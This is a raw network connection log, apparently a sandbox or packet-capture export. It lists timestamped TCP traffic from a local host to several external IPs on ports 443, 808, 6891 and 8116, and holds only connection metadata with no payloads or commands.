Oct 28, 2021 04:46:56.642627954 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.642715931 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.642730951 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.642764091 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.648870945 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.648905993 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.694703102 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.694859982 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.695092916 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.695113897 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.700512886 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.700546026 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.772769928 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:56.875174046 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:56.937161922 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:56.937319994 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:56.938622952 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.043906927 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.044019938 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.045291901 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.102937937 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.103008986 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.103209019 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.104032040 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.110887051 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.111169100 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.213691950 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.214056015 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.214185953 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.214679003 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.218349934 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.218476057 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.268306017 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.275173903 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.275317907 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.275335073 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.275347948 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.275360107 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.383121014 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.386835098 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.386883020 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.386894941 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.386918068 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.657258987 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.657285929 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.657396078 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.657481909 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.670176029 CEST	50016	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.772104025 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.772144079 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.772272110 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.772301912 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.776216984 CEST	50017	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:57.780838966 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:57.834414005 CEST	808	50016	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.887907982 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:57.944915056 CEST	808	50017	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:57.947227001 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:57.947350979 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:57.947860003 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.053417921 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.053565025 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.054718018 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.114183903 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.114273071 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.114347935 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.114788055 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.117548943 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.117651939 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.220128059 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.220154047 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.220227003 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.220648050 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.223324060 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.223496914 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.283925056 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.284121990 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.284151077 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.388679981 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.388873100 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.388892889 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.388911009 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.676554918 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.676609039 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.676803112 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.684104919 CEST	50018	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.776623964 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.776706934 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.776776075 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.776926041 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.785432100 CEST	50019	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:58.799596071 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.850907087 CEST	6891	50018	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.858658075 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:58.858839989 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.860147953 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.905968904 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.919665098 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:58.920113087 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:58.920218945 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.920907021 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.926464081 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.926525116 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.952671051 CEST	6891	50019	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:58.963171005 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:58.963319063 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.964432001 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:58.985652924 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:58.986354113 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.021627903 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.021656990 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.021871090 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.022770882 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.031081915 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.031312943 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.089468002 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.089494944 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.168737888 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.168765068 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.169202089 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.180895090 CEST	50020	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.239032984 CEST	8116	50020	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.258954048 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.259000063 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.259161949 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.264421940 CEST	50021	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:59.306051016 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.306123018 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.306427002 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.307600021 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.307663918 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.321544886 CEST	8116	50021	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:59.388653994 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.388731003 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.389015913 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.389653921 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.389671087 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.790707111 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.790848970 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.791542053 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.791551113 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.796876907 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.796892881 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.797015905 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.797027111 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.911305904 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.911384106 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.911910057 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.911917925 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.915338993 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.915349007 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:59.915457010 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:59.915467978 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.483043909 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.483120918 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.483150959 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.483181000 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.491188049 CEST	50022	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.491220951 CEST	443	50022	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.625230074 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.625293970 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.625320911 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.625339031 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.625369072 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.625400066 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.627732038 CEST	50023	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:00.627759933 CEST	443	50023	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:00.637648106 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.793935061 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.797183037 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:00.797261953 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.797945976 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.956091881 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:00.956186056 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.956789970 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.957391977 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:00.957515955 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:00.957573891 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.958038092 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.960711956 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:00.960865974 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.117585897 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.118717909 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.118896961 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.119033098 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.119883060 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.120239973 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.120284081 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.120322943 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.120349884 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.120378017 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.127635002 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.127877951 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.282052994 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.289735079 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.289769888 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.289791107 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.289830923 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.514789104 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.514832020 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.514966965 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.520454884 CEST	50024	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.643750906 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.680068016 CEST	808	50024	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.683254004 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.683279037 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.683392048 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.686117887 CEST	50025	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:01.793109894 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.809437990 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:01.809551954 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.816987991 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.848190069 CEST	808	50025	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:01.958837986 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:01.960551977 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.961179018 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.982486963 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:01.982552052 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:01.982672930 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.983119011 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.986381054 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:01.986488104 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.126547098 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.126580000 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.126678944 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.127178907 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.130821943 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.130970955 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.151793003 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.151820898 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.151832104 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.296295881 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.296344995 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.296471119 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.549854994 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.549889088 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.550205946 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.557236910 CEST	50026	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.676276922 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.676314116 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.676410913 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.676455975 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.677809954 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.679320097 CEST	50027	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:02.722755909 CEST	6891	50026	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.731914043 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.732069016 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.732760906 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.786648989 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.786844015 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.786957979 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.787496090 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.792865038 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.793083906 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.798544884 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.844676018 CEST	6891	50027	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:02.846985102 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.847310066 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.851608992 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.851758003 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.852482080 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.887902021 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.905474901 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.905653954 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.905724049 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.912503004 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.916937113 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.917026043 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:02.970026970 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:02.970722914 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.030293941 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.030324936 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.030458927 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:03.041353941 CEST	50028	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:03.095355988 CEST	8116	50028	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.156533003 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.156565905 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.156703949 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.157355070 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.157382965 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.167907953 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.167927980 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.168001890 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:03.168025970 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:03.170341969 CEST	50029	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:03.223335028 CEST	8116	50029	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:03.279129028 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.279167891 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.279247046 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.279720068 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.279741049 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.674087048 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.674216986 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.674738884 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.674753904 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.678632975 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.678644896 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.678802013 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.678817987 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.801570892 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.801681995 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.802490950 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.802500963 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.806138039 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.806145906 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:03.806355953 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:03.806368113 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.382595062 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.382673025 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.382730007 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:04.382786989 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:04.389947891 CEST	50030	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:04.389992952 CEST	443	50030	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.502325058 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.521773100 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.521863937 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.521954060 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:04.522012949 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:04.524995089 CEST	50031	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:04.525017977 CEST	443	50031	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:04.666896105 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:04.667093992 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.667733908 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.685520887 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.832143068 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:04.832250118 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:04.832381964 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.832910061 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.837795973 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.837894917 CEST	50032	808	192.168.2.5	143.244.140.214
